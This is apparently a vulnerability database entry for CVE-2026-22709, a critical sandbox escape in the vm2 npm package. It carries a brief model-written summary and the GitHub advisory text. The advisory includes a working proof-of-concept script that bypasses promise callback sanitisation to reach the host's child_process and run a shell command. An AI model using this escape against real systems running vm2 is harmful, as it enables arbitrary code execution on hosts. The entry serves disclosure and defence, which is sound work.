MISFIRE

Browse / AI Framework and Platform Flaws / CVE-2026-22709

vm2 has a Sandbox Escape

CVE-2026-22709 ยท 2026-01-26 critical

Class
AI Framework and Platform Flaws (filed by a model that read the source)
Technique
Sandbox escape
Affected
vm2 (npm)
Gets past
Sandbox or allowlist
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
1.3% chance of exploitation in 30 days

How it works, in short

A promise callback in the sandbox is sanitised for one Promise realm but not the host-global one, letting sandboxed code reach host process objects. (Our summary, written by a model. The source text is below.)

Details

In vm2 for version 3.10.0, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.

const { VM } = require("vm2");

const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
    const Error = e.constructor;
    const Function = Error.constructor;
    const f = new Function(
        "process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })"
    );
    f();
});
`;

new VM().run(code);

In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object.

References

Source: GitHub Advisory Database, used under CC BY 4.0.